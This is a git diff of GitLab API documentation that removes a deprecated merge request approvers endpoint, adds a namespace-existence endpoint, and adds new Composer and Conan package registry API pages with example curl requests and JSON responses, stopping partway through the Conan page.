MRs | - -```json -{ - "approvers": [ - { - "user": { - "id": 5, - "name": "John Doe6", - "username": "user5", - "state":"active","avatar_url":"https://www.gravatar.com/avatar/4aea8cf834ed91844a2da4ff7ae6b491?s=80\u0026d=identicon","web_url":"http://localhost/user5" - } - } - ], - "approver_groups": [ - { - "group": { - "id": 1, - "name": "group1", - "path": "group1", - "description": "", - "visibility": "public", - "lfs_enabled": false, - "avatar_url": null, - "web_url": "http://localhost/groups/group1", - "request_access_enabled": false, - "full_name": "group1", - "full_path": "group1", - "parent_id": null, - "ldap_cn": null, - "ldap_access": null - } - } - ], - "approvals_before_merge": 2, - "reset_approvals_on_push": true, - "disable_overriding_approvers_per_merge_request": false, - "merge_requests_author_approval": true, - "merge_requests_disable_committers_approval": false, - "require_password_to_approve": true -} -``` - ## External Project-level MR approvals **(ULTIMATE)** Configuration for approvals on a specific Merge Request which makes a call to an external HTTP resource. @@ -645,7 +581,7 @@ DELETE /projects/:id/external_approval_rules/:rule_id You can update an existing external approval rule for a project using the following endpoint: ```plaintext -PATCH /projects/:id/external_approval_rules/:rule_id +PUT /projects/:id/external_approval_rules/:rule_id ``` | Attribute | Type | Required | Description | @@ -769,81 +705,6 @@ POST /projects/:id/merge_requests/:merge_request_iid/approvals } ``` -### Change allowed approvers for Merge Request - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/183) in GitLab 10.6. -> - Moved to GitLab Premium in 13.9. - -NOTE: -This API endpoint has been deprecated. Please use Approval Rule API instead. - -If you are allowed to, you can change approvers and approver groups using -the following endpoint: - -```plaintext -PUT /projects/:id/merge_requests/:merge_request_iid/approvers -``` - -**Important:** Approvers and groups not in the request are **removed** - -**Parameters:** - -| Attribute | Type | Required | Description | -|----------------------|---------|----------|-----------------------------------------------------------| -| `id` | integer | yes | The ID of a project | -| `merge_request_iid` | integer | yes | The IID of MR | -| `approver_ids` | Array | yes | An array of User IDs that can approve the MR | -| `approver_group_ids` | Array | yes | An array of Group IDs whose members can approve the MR | - -```json -{ - "id": 5, - "iid": 5, - "project_id": 1, - "title": "Approvals API", - "description": "Test", - "state": "opened", - "created_at": "2016-06-08T00:19:52.638Z", - "updated_at": "2016-06-08T21:20:42.470Z", - "merge_status": "cannot_be_merged", - "approvals_required": 2, - "approvals_left": 2, - "approved_by": [], - "approvers": [ - { - "user": { - "name": "Administrator", - "username": "root", - "id": 1, - "state": "active", - "avatar_url": "http://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80\u0026d=identicon", - "web_url": "http://localhost:3000/root" - } - } - ], - "approver_groups": [ - { - "group": { - "id": 5, - "name": "group1", - "path": "group1", - "description": "", - "visibility": "public", - "lfs_enabled": false, - "avatar_url": null, - "web_url": "http://localhost/groups/group1", - "request_access_enabled": false, - "full_name": "group1", - "full_path": "group1", - "parent_id": null, - "ldap_cn": null, - "ldap_access": null - } - } - ] -} -``` - ### Get the approval state of merge requests > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13712) in GitLab 12.3. diff --git a/doc/api/merge_requests.md b/doc/api/merge_requests.md index b77b1a59cd9..d28c7d8e8a7 100644 --- a/doc/api/merge_requests.md +++ b/doc/api/merge_requests.md @@ -761,6 +761,8 @@ the `approvals_before_merge` parameter: } ``` +The `diff_refs` in the response correspond to the latest diff version of the merge request. + ## Get single MR participants Get a list of merge request participants. @@ -2328,7 +2330,8 @@ Example response: ## Get MR diff versions -Get a list of merge request diff versions. +Get a list of merge request diff versions. For an explanation of the SHAs in the response, +read [SHAs in the API response](#shas-in-the-api-response). ```plaintext GET /projects/:id/merge_requests/:merge_request_iid/versions @@ -2367,9 +2370,16 @@ Example response: }] ``` +### SHAs in the API response + +- `head_commit_sha`: The HEAD commit of the source branch. +- `base_commit_sha`: The merge-base commit SHA between the source branch and the target branches. +- `start_commit_sha`: The HEAD commit SHA of the target branch when this version of the diff was created. + ## Get a single MR diff version -Get a single merge request diff version. +Get a single merge request diff version. For an explanation of the SHAs in the response, +read [SHAs in the API response](#shas-in-the-api-response). ```plaintext GET /projects/:id/merge_requests/:merge_request_iid/versions/:version_id diff --git a/doc/api/metrics_dashboard_annotations.md b/doc/api/metrics_dashboard_annotations.md index 896420ed0fb..b2f1e52f194 100644 --- a/doc/api/metrics_dashboard_annotations.md +++ b/doc/api/metrics_dashboard_annotations.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: concepts, howto --- diff --git a/doc/api/metrics_user_starred_dashboards.md b/doc/api/metrics_user_starred_dashboards.md index 9178291181e..6f360cddd61 100644 --- a/doc/api/metrics_user_starred_dashboards.md +++ b/doc/api/metrics_user_starred_dashboards.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: concepts, howto --- diff --git a/doc/api/namespaces.md b/doc/api/namespaces.md index a89e91f82e5..c3e88532430 100644 --- a/doc/api/namespaces.md +++ b/doc/api/namespaces.md @@ -225,3 +225,33 @@ Example response: "trial": false } ``` + +## Get existence of a namespace + +Get existence of a namespace by path. Suggests a new namespace path that does not already exist. + +```plaintext +GET /namespaces/:namespace/exists +``` + +| Attribute | Type | Required | Description | +| ----------- | ------- | -------- | ----------- | +| `namespace` | string | yes | Namespace's path. | +| `parent_id` | integer | no | The ID of the parent namespace. If no ID is specified, only top-level namespaces are considered. | + +Example request: + +```shell +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/namespaces/my-group/exists?parent_id=1" +``` + +Example response: + +```json +{ + "exists": true, + "suggests": [ + "my-group1" + ] +} +``` diff --git a/doc/api/openapi/openapi_interactive.md b/doc/api/openapi/openapi_interactive.md index 95d7bba8081..e34b003e32c 100644 --- a/doc/api/openapi/openapi_interactive.md +++ b/doc/api/openapi/openapi_interactive.md @@ -10,19 +10,27 @@ Introduces the interactive documentation tool for the GitLab API. ## About the OpenAPI specification -The [OpenAPI specification](https://swagger.io/specification/) (formerly called Swagger) defines a standard, language-agnostic interface to RESTful APIs. OpenAPI definition files are written in the YAML format, which is automatically rendered by the GitLab browser into a more human-readable interface. For general information about the GitLab APIs, see [API Docs](../README.md). +The [OpenAPI specification](https://swagger.io/specification/) (formerly called Swagger) defines a +standard, language-agnostic interface to RESTful APIs. OpenAPI definition files are written in the +YAML format, which is automatically rendered by the GitLab browser into a more human-readable interface. + +For general information about the GitLab APIs, see [API Docs](../README.md). ## Overview -The [interactive API documentation tool](openapi.yaml) allows API testing directly on the GitLab.com -website. Only a few of the available endpoints are documented with the OpenAPI spec, but the current -list demonstrates the functionality of the tool. +<!-- +The following link is absolute rather than relative because it needs to be viewed through the GitLab +Open API file viewer: https://docs.gitlab.com/ee/user/project/repository/index.html#openapi-viewer. +--> +The [interactive API documentation tool](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/api/openapi/openapi.yaml) +allows API testing directly on the GitLab.com website. Only a few of the available endpoints are +documented with the OpenAPI spec, but the current list demonstrates the functionality of the tool.  ## Endpoint parameters -When you expand an endpoint listing, you'll see a description, input parameters (if required), +When you expand an endpoint listing, you see a description, input parameters (if required), and example server responses. Some parameters include a default or a list of allowed values.  diff --git a/doc/api/packages/composer.md b/doc/api/packages/composer.md new file mode 100644 index 00000000000..ebf3ffba92f --- /dev/null +++ b/doc/api/packages/composer.md @@ -0,0 +1,287 @@ +--- +stage: Package +group: Package +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Composer API + +This is the API documentation for [Composer Packages](../../user/packages/composer_repository/index.md). + +WARNING: +This API is used by the [Composer package manager client](https://getcomposer.org/) +and is generally not meant for manual consumption. + +For instructions on how to upload and install Composer packages from the GitLab +package registry, see the [Composer package registry documentation](../../user/packages/composer_repository/index.md). + +NOTE: +These endpoints do not adhere to the standard API authentication methods. +See the [Composer package registry documentation](../../user/packages/composer_repository/index.md) +for details on which headers and token types are supported. + +## Base repository request + +Returns the repository URL templates for requesting individual packages: + +```plaintext +GET group/:id/-/packages/composer/packages +``` + +| Attribute | Type | Required | Description | +| --------- | ------ | -------- | ----------- | +| `id` | string | yes | The ID or full path of the group. | + +```shell +curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/group/1/-/packages/composer/packages" +``` + +Example response: + +```json +{ + "packages": [], + "metadata-url": "/api/v4/group/1/-/packages/composer/p2/%package%.json", + "provider-includes": { + "p/%hash%.json": { + "sha256": "082df4a5035f8725a12i4a3d2da5e6aaa966d06843d0a5c6d499313810427bd6" + } + }, + "providers-url": "/api/v4/group/1/-/packages/composer/%package%$%hash%.json" +} +``` + +This endpoint is used by Composer V1 and V2. To see the V2-specific response, include the Composer +`User-Agent` header. Using Composer V2 is recommended over V1. + +```shell +curl --user <username>:<personal_access_token> \ + --header "User-Agent: Composer/2" \ + "https://gitlab.example.com/api/v4/group/1/-/packages/composer/packages" +``` + +Example response: + +```json +{ + "packages": [], + "metadata-url": "/api/v4/group/1/-/packages/composer/p2/%package%.json" +} +``` + +## V1 packages list + +Given the V1 provider sha, returns a list of packages within the repository. Using Composer V2 is +recommended over V1. + +```plaintext +GET group/:id/-/packages/composer/p/:sha +``` + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `id` | string | yes | The ID or full path of the group. | +| `sha` | string | yes | The provider sha, provided by the Composer [base request](#base-repository-request). | + +```shell +curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/group/1/-/packages/composer/p/082df4a5035f8725a12i4a3d2da5e6aaa966d06843d0a5c6d499313810427bd6" +``` + +Example response: + +```json +{ + "providers": { + "my-org/my-composer-package": { + "sha256": "5c873497cdaa82eda35af5de24b789be92dfb6510baf117c42f03899c166b6e7" + } + } +} +``` + +## V1 Package Metadata + +Returns the list of versions and metadata for a given package. Using Composer V2 is recommended over +V1. + +```plaintext +GET group/:id/-/packages/composer/:package_name$:sha +``` + +Note the `$` symbol in the URL. When making requests, you may need to use the URL-encoded version of +the symbol `%24` (see example below). + +| Attribute | Type | Required | Description | +| -------------- | ------ | -------- | ----------- | +| `id` | string | yes | The ID or full path of the group. | +| `package_name` | string | yes | The name of the package. | +| `sha` | string | yes | The sha digest of the package, provided by the [V1 packages list](#v1-packages-list). | + +```shell +curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/group/1/-/packages/composer/my-org/my-composer-package%245c873497cdaa82eda35af5de24b789be92dfb6510baf117c42f03899c166b6e7" +``` + +Example response: + +```json +{ + "packages": { + "my-org/my-composer-package": { + "1.0.0": { + "name": "my-org/my-composer-package", + "type": "library", + "license": "GPL-3.0-only", + "version": "1.0.0", + "dist": { + "type": "zip", + "url": "https://gitlab.example.com/api/v4/projects/1/packages/composer/archives/my-org/my-composer-package.zip?sha=673594f85a55fe3c0eb45df7bd2fa9d95a1601ab", + "reference": "673594f85a55fe3c0eb45df7bd2fa9d95a1601ab", + "shasum": "" + }, + "source": { + "type": "git", + "url": "https://gitlab.example.com/my-org/my-composer-package.git", + "reference": "673594f85a55fe3c0eb45df7bd2fa9d95a1601ab" + }, + "uid": 1234567 + }, + "2.0.0": { + "name": "my-org/my-composer-package", + "type": "library", + "license": "GPL-3.0-only", + "version": "2.0.0", + "dist": { + "type": "zip", + "url": "https://gitlab.example.com/api/v4/projects/1/packages/composer/archives/my-org/my-composer-package.zip?sha=445394f85a55fe3c0eb45df7bd2fa9d95a1601ab", + "reference": "445394f85a55fe3c0eb45df7bd2fa9d95a1601ab", + "shasum": "" + }, + "source": { + "type": "git", + "url": "https://gitlab.example.com/my-org/my-composer-package.git", + "reference": "445394f85a55fe3c0eb45df7bd2fa9d95a1601ab" + }, + "uid": 1234567 + } + } + } +} +``` + +## V2 Package Metadata + +Returns the list of versions and metadata for a given package: + +```plaintext +GET group/:id/-/packages/composer/p2/:package_name +``` + +| Attribute | Type | Required | Description | +| -------------- | ------ | -------- | ----------- | +| `id` | string | yes | The ID or full path of the group. | +| `package_name` | string | yes | The name of the package. | + +```shell +curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/group/1/-/packages/composer/p2/my-org/my-composer-package" +``` + +Example response: + +```json +{ + "packages": { + "my-org/my-composer-package": { + "1.0.0": { + "name": "my-org/my-composer-package", + "type": "library", + "license": "GPL-3.0-only", + "version": "1.0.0", + "dist": { + "type": "zip", + "url": "https://gitlab.example.com/api/v4/projects/1/packages/composer/archives/my-org/my-composer-package.zip?sha=673594f85a55fe3c0eb45df7bd2fa9d95a1601ab", + "reference": "673594f85a55fe3c0eb45df7bd2fa9d95a1601ab", + "shasum": "" + }, + "source": { + "type": "git", + "url": "https://gitlab.example.com/my-org/my-composer-package.git", + "reference": "673594f85a55fe3c0eb45df7bd2fa9d95a1601ab" + }, + "uid": 1234567 + }, + "2.0.0": { + "name": "my-org/my-composer-package", + "type": "library", + "license": "GPL-3.0-only", + "version": "2.0.0", + "dist": { + "type": "zip", + "url": "https://gitlab.example.com/api/v4/projects/1/packages/composer/archives/my-org/my-composer-package.zip?sha=445394f85a55fe3c0eb45df7bd2fa9d95a1601ab", + "reference": "445394f85a55fe3c0eb45df7bd2fa9d95a1601ab", + "shasum": "" + }, + "source": { + "type": "git", + "url": "https://gitlab.example.com/my-org/my-composer-package.git", + "reference": "445394f85a55fe3c0eb45df7bd2fa9d95a1601ab" + }, + "uid": 1234567 + } + } + } +} +``` + +## Create a package + +Create a Composer package from a Git tag or branch: + +```plaintext +POST projects/:id/packages/composer +``` + +| Attribute | Type | Required | Description | +| --------- | ------ | -------- | ----------- | +| `id` | string | yes | The ID or full path of the group. | +| `tag` | string | no | The name of the tag to target for the package. | +| `branch` | string | no | The name of the branch to target for the package. | + +```shell +curl --request POST --user <username>:<personal_access_token> --data tag=v1.0.0 "https://gitlab.example.com/api/v4/projects/1/packages/composer" +``` + +Example response: + +```json +{ + "message": "201 Created" +} +``` + +## Download a package archive + +Download a Composer package. This URL is provided in the [v1](#v1-package-metadata) +or [v2 package metadata](#v2-package-metadata) +response. A `.zip` file extension must be in the request. + +```plaintext +GET projects/:id/packages/composer/archives/:package_name +``` + +| Attribute | Type | Required | Description | +| -------------- | ------ | -------- | ----------- | +| `id` | string | yes | The ID or full path of the group. | +| `package_name` | string | yes | The name of the package. | +| `sha` | string | yes | The target sha of the requested package version. | + +```shell +curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/projects/1/packages/composer/archives/my-org/my-composer-package.zip?sha=673594f85a55fe3c0eb45df7bd2fa9d95a1601ab" +``` + +Write the output to file: + +```shell +curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/projects/1/packages/composer/archives/my-org/my-composer-package.zip?sha=673594f85a55fe3c0eb45df7bd2fa9d95a1601ab" >> package.tar.gz +``` + +This writes the downloaded file to `package.tar.gz` in the current directory. diff --git a/doc/api/packages/conan.md b/doc/api/packages/conan.md new file mode 100644 index 00000000000..88ed2524173 --- /dev/null +++ b/doc/api/packages/conan.md @@ -0,0 +1,614 @@ +--- +stage: Package +group: Package +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Conan API + +This is the API documentation for [Conan Packages](../../user/packages/conan_repository/index.md). + +WARNING: +This API is used by the [Conan package manager client](https://docs.conan.io/en/latest/) +and is generally not meant for manual consumption. + +For instructions on how to upload and install Conan packages from the GitLab +package registry, see the [Conan package registry documentation](../../user/packages/conan_repository/index.md). + +NOTE: +These endpoints do not adhere to the standard API authentication methods. +See each route for details on how credentials are expected to be passed. + +## Route prefix + +There are two sets of identical routes that each make requests in different scopes: + +- Use the instance-level prefix to make requests in the entire GitLab instance's scope. +- Use the project-level prefix to make requests in a single project's scope. + +The examples in this document all use the instance-level prefix. + +### Instance-level + +```plaintext +/packages/conan/v1 +``` + +When using the instance-level routes, be aware that there is a [naming +restriction](../../user/packages/conan_repository/index.md#package-recipe-naming-convention-for-instance-remotes) +for Conan recipes. + +### Project-level + +```plaintext + /projects/:id/packages/conan/v1` +``` + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `id` | string | yes | The project ID or full project path. | + +## Ping + +> Introduced in GitLab 12.2. + +Ping the GitLab Conan repository to verify availability: + +```plaintext +GET <route-prefix>/ping +``` + +```shell +curl "https://gitlab.example.com/api/v4/packages/conan/v1/ping" +``` + +Example response: + +```json +"" +``` + +## Search + +> Introduced in GitLab 12.4. + +Search the instance for Conan packages by name: + +```plaintext +GET <route-prefix>/conans/search +``` + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `q` | string | yes | Search query. You can use `*` as a wildcard. | + +```shell +curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/packages/conan/v1/conans/search?q=Hello*" +``` + +Example response: + +```json +{ + "results": [ + "Hello/0.1@foo+conan_test_prod/beta", + "Hello/0.1@foo+conan_test_prod/stable", + "Hello/0.2@foo+conan_test_prod/beta", + "Hello/0.3@foo+conan_test_prod/beta", + "Hello/0.1@foo+conan-reference-test/stable", + "HelloWorld/0.1@baz+conan-reference-test/beta" + "hello-world/0.4@buz+conan-test/alpha" + ] +} +``` + +## Authenticate + +> Introduced in GitLab 12.2. + +Returns a JWT to be used for Conan requests in a Bearer header: + +```shell +"Authorization: Bearer <token> +``` + +The Conan package manager client automatically uses this token. + +```plaintext +GET <route-prefix>/users/authenticate +``` + +```shell +curl --user <username>:<personal_access_token> "https://gitlab.example.com/packages/conan/v1/users/authenticate +``` + +Example response: + +```shell +eyJhbGciOiJIUzI1NiIiheR5cCI6IkpXVCJ9.eyJhY2Nlc3NfdG9rZW4iOjMyMTQyMzAsqaVzZXJfaWQiOjQwNTkyNTQsImp0aSI6IjdlNzBiZTNjLWFlNWQtNDEyOC1hMmIyLWZiOThhZWM0MWM2OSIsImlhd3r1MTYxNjYyMzQzNSwibmJmIjoxNjE2NjIzNDMwLCJleHAiOjE2MTY2MjcwMzV9.QF0Q3ZIB2GW5zNKyMSIe0HIFOITjEsZEioR-27Rtu7E +``` + +## Check Credentials + +> Introduced in GitLab 12.4. + +Checks the validity of Basic Auth credentials or a Conan JWT generated from [`/authenticate`](#authenticate). + +```plaintext +GET <route-prefix>/users/check_credentials +``` + +```shell +curl --header "Authorization: Bearer <authenticate_token>" "https://gitlab.example.com/api/v4/packages/conan/v1/users/check_credentials +``` + +Example response: + +```shell +ok +``` + +## Recipe Snapshot + +> Introduced in GitLab 12.5. + +This returns the snapshot of the recipe files for the specified Conan recipe. The snapshot is a list +of filenames with their associated md5 hash. + +```plaintext +GET <route-prefix>/conans/:package_name/:package_version/:package_username/:package_channel +``` + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `package_name` | string | yes | Name of a package. | +| `package_version` | string | yes | Version of a package. | +| `package_username` | string | yes | Conan username of a package. This is the `+`-separated full path of your project. | +| `package_channel` | string | yes | Channel of a package. | + +```shell +curl --header "Authorization: Bearer <authenticate_token>" "https://gitlab.example.com/api/v4/packages/conan/v1/conans/my-package/1.0/my-group+my-project/stable" +``` + +Example response: + +```json +{ + "conan_sources.tgz": "eadf19b33f4c3c7e113faabf26e76277", + "conanfile.py": "25e55b96a28f81a14ba8e8a8c99eeace", + "conanmanifest.txt": "5b6fd77a2ba14303ce4cdb08c87e82ab" +} +``` + +## Package Snapshot + +> Introduced in GitLab 12.5. + +This returns the snapshot of the package files for the specified Conan recipe with the specified +Conan reference. The snapshot is a list of filenames with their associated md5 hash. + +```plaintext +GET <route-prefix>/conans/:package_name/:package_version/:package_username/:package_channel/packages/:conan_package_reference +``` + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `package_name` | string | yes | Name of a package. | +| `package_version` | string | yes | Version of a package. | +| `package_username` | string | yes | Conan username of a package. This is the `+`-separated full path of your project. | +| `package_channel` | string | yes | Channel of a package. | +| `conan_package_reference` | string | yes | Reference hash of a Conan package. Conan generates this value. | + +```shell +curl --header "Authorization: Bearer <authenticate_token>" "https://gitlab.example.com/api/v4/packages/conan/v1/conans/my-package/1.0/my-group+my-project/stable/packages/103f6067a947f366ef91fc1b7da351c588d1827f" +``` + +Example response: + +```json +{ + "conan_package.tgz": "749b29bdf72587081ca03ec033ee59dc", + "conaninfo.txt": "32859d737fe84e6a7ccfa4d64dc0d1f2", + "conanmanifest.txt": "a86b398e813bd9aa111485a9054a2301" +} +``` + +## Recipe Manifest + +> Introduced in GitLab 12.5. + +The manifest is a list of recipe filenames with their associated download URLs. + +```plaintext +GET <route-prefix>/conans/:package_name/:package_version/:package_username/:package_channel/digest +``` + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `package_name` | string | yes | Name of a package. | +| `package_version` | string | yes | Version of a package. | +| `package_username` | string | yes | Conan username of a package. This is the `+`-separated full path of your project. | +| `package_channel` | string | yes | Channel of a package. | + +```shell +curl --header "Authorization: Bearer <authenticate_token>" "https://gitlab.example.com/api/v4/packages/conan/v1/conans/my-package/1.0/my-group+my-project/stable/digest" +``` + +Example response: + +```json +{ + "conan_sources.tgz": "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/0/export/conan_sources.tgz", + "conanfile.py": "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/0/export/conanfile.py", + "conanmanifest.txt": "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/0/export/conanmanifest.txt" +} +``` + +The URLs in the response have the same route prefix used to request them. If you request them with +the project-level route, the returned URLs contain `/projects/:id`. + +## Package Manifest + +> Introduced in GitLab 12.5. + +The manifest is a list of package filenames with their associated download URLs. + +```plaintext +GET <route-prefix>/conans/:package_name/:package_version/:package_username/:package_channel/packages/:conan_package_reference/digest +``` + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `package_name` | string | yes | Name of a package. | +| `package_version` | string | yes | Version of a package. | +| `package_username` | string | yes | Conan username of a package. This is the `+`-separated full path of your project. | +| `package_channel` | string | yes | Channel of a package. | +| `conan_package_reference` | string | yes | Reference hash of a Conan package. Conan generates this value. | + +```shell +curl --header "Authorization: Bearer <authenticate_token>" "https://gitlab.example.com/api/v4/packages/conan/v1/conans/my-package/1.0/my-group+my-project/stable/packages/103f6067a947f366ef91fc1b7da351c588d1827f/digest" +``` + +Example response: + +```json +{ + "conan_package.tgz": "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/packages/103f6067a947f366ef91fc1b7da351c588d1827f/0/conan_package.tgz", + "conaninfo.txt": "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/packages/103f6067a947f366ef91fc1b7da351c588d1827f/0/conaninfo.txt", + "conanmanifest.txt": "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/packages/103f6067a947f366ef91fc1b7da351c588d1827f/0/conanmanifest.txt" +} +``` + +The URLs in the response have the same route prefix used to request them. If you request them with +the project-level route, the returned URLs contain `/projects/:id`. + +## Recipe Download URLs + +> Introduced in GitLab 12.5. + +Returns a list of recipe filenames with their associated download URLs. +This is the same payload as the [recipe manifest](#recipe-manifest) endpoint. + +```plaintext +GET <route-prefix>/conans/:package_name/:package_version/:package_username/:package_channel/download_urls +``` + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `package_name` | string | yes | Name of a package. | +| `package_version` | string | yes | Version of a package. | +| `package_username` | string | yes | Conan username of a package. This is the `+`-separated full path of your project. | +| `package_channel` | string | yes | Channel of a package. | + +```shell +curl --header "Authorization: Bearer <authenticate_token>" "https://gitlab.example.com/api/v4/packages/conan/v1/conans/my-package/1.0/my-group+my-project/stable/digest" +``` + +Example response: + +```json +{ + "conan_sources.tgz": "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/0/export/conan_sources.tgz", + "conanfile.py": "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/0/export/conanfile.py", + "conanmanifest.txt": "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/0/export/conanmanifest.txt" +} +``` + +The URLs in the response have the same route prefix used to request them. If you request them with +the project-level route, the returned URLs contain `/projects/:id`. + +## Package Download URLs + +> Introduced in GitLab 12.5. + +Returns a list of package filenames with their associated download URLs. +This is the same payload as the [package manifest](#package-manifest) endpoint. + +```plaintext +GET <route-prefix>/conans/:package_name/:package_version/:package_username/:package_channel/packages/:conan_package_reference/download_urls +``` + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `package_name` | string | yes | Name of a package. | +| `package_version` | string | yes | Version of a package. | +| `package_username` | string | yes | Conan username of a package. This is the `+`-separated full path of your project. | +| `package_channel` | string | yes | Channel of a package. | +| `conan_package_reference` | string | yes | Reference hash of a Conan package. Conan generates this value. | + +```shell +curl --header "Authorization: Bearer <authenticate_token>" "https://gitlab.example.com/api/v4/packages/conan/v1/conans/my-package/1.0/my-group+my-project/stable/packages/103f6067a947f366ef91fc1b7da351c588d1827f/download_urls" +``` + +Example response: + +```json +{ + "conan_package.tgz": "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/packages/103f6067a947f366ef91fc1b7da351c588d1827f/0/conan_package.tgz", + "conaninfo.txt": "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/packages/103f6067a947f366ef91fc1b7da351c588d1827f/0/conaninfo.txt", + "conanmanifest.txt": "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/packages/103f6067a947f366ef91fc1b7da351c588d1827f/0/conanmanifest.txt" +} +``` + +The URLs in the response have the same route prefix used to request them. If you request them with +the project-level route, the returned URLs contain `/projects/:id`. + +## Recipe Upload URLs + +> Introduced in GitLab 12.5. + +Given a list of recipe filenames and file sizes, a list of URLs to upload each file is returned. + +```plaintext +POST <route-prefix>/conans/:package_name/:package_version/:package_username/:package_channel/upload_urls +``` + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `package_name` | string | yes | Name of a package. | +| `package_version` | string | yes | Version of a package. | +| `package_username` | string | yes | Conan username of a package. This is the `+`-separated full path of your project. | +| `package_channel` | string | yes | Channel of a package. | + +Example request JSON payload: + +```json +{ + "conanfile.py": 410, + "conanmanifest.txt": 130 +} +``` + +```shell +curl --request POST \ + --header "Authorization: Bearer <authenticate_token>" \ + --header "Content-Type: application/json" \ + --data '{"conanfile.py":410,"conanmanifest.txt":130}' \ + "https://gitlab.example.com/api/v4/packages/conan/v1/conans/my-package/1.0/my-group+my-project/stable/upload_urls" +``` + +Example response: + +```json +{ + "conanfile.py": "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/0/export/conanfile.py", + "conanmanifest.txt": "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/0/export/conanmanifest.txt" +} +``` + +The URLs in the response have the same route prefix used to request them. If you request them with +the project-level route, the returned URLs contain `/projects/:id`. + +## Package Upload URLs + +> Introduced in GitLab 12.5. + +Given a list of package filenames and file sizes, a list of URLs to upload each file is returned. + +```plaintext +POST <route-prefix>/conans/:package_name/:package_version/:package_username/:package_channel/packages/:conan_package_reference/upload_urls +``` + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `package_name` | string | yes | Name of a package. | +| `package_version` | string | yes | Version of a package. | +| `package_username` | string | yes | Conan username of a package. This is the `+`-separated full path of your project. | +| `package_channel` | string | yes | Channel of a package. | +| `conan_package_reference` | string | yes | Reference hash of a Conan package. Conan generates this value. | + +Example request JSON payload: + +```json +{ + "conan_package.tgz": 5412, + "conanmanifest.txt": 130, + "conaninfo.txt": 210 + } +``` + +```shell +curl --request POST \ + --header "Authorization: Bearer <authenticate_token>" \ + --header "Content-Type: application/json" \ + --data '{"conan_package.tgz":5412,"conanmanifest.txt":130,"conaninfo.txt":210}' + "https://gitlab.example.com/api/v4/packages/conan/v1/conans/my-package/1.0/my-group+my-project/stable/packages/103f6067a947f366ef91fc1b7da351c588d1827f/upload_urls" +``` + +Example response: + +```json +{ + "conan_package.tgz": "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/0/package/103f6067a947f366ef91fc1b7da351c588d1827f/0/conan_package.tgz", + "conanmanifest.txt": "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/0/package/103f6067a947f366ef91fc1b7da351c588d1827f/0/conanmanifest.txt", + "conaninfo.txt": "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/0/package/103f6067a947f366ef91fc1b7da351c588d1827f/0/conaninfo.txt" +} +``` + +The URLs in the response have the same route prefix used to request them. If you request them with +the project-level route, the returned URLs contain `/projects/:id`. + +## Download a Recipe file + +> Introduced in GitLab 12.6. + +Download a recipe file to the package registry. You must use a download URL that the +[recipe download URLs endpoint](#recipe-download-urls) +returned. + +```shell +GET packages/conan/v1/files/:package_name/:package_version/:package_username/:package_channel/:recipe_revision/export/:file_name +``` + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `package_name` | string | yes | Name of a package. | +| `package_version` | string | yes | Version of a package. | +| `package_username` | string | yes | Conan username of a package. This is the `+`-separated full path of your project. | +| `package_channel` | string | yes | Channel of a package. | +| 